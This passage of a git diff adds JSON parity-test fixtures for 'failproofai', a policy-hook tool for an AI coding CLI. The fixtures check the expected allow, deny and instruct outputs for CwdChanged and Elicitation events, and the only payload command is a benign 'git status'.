"hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e9c33637 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..85b31c01 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..ec8e2722 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2c5709ee --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..586a2e66 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7e335a31 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c81fba39 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..fa5e0166 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..83c85a3e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..12e9a222 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c862db35 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e390e6fc --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..251f9af9 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..69603152 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..93a25cb1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0d571c3d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..54e8ade1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b515c665 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c96cef6d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 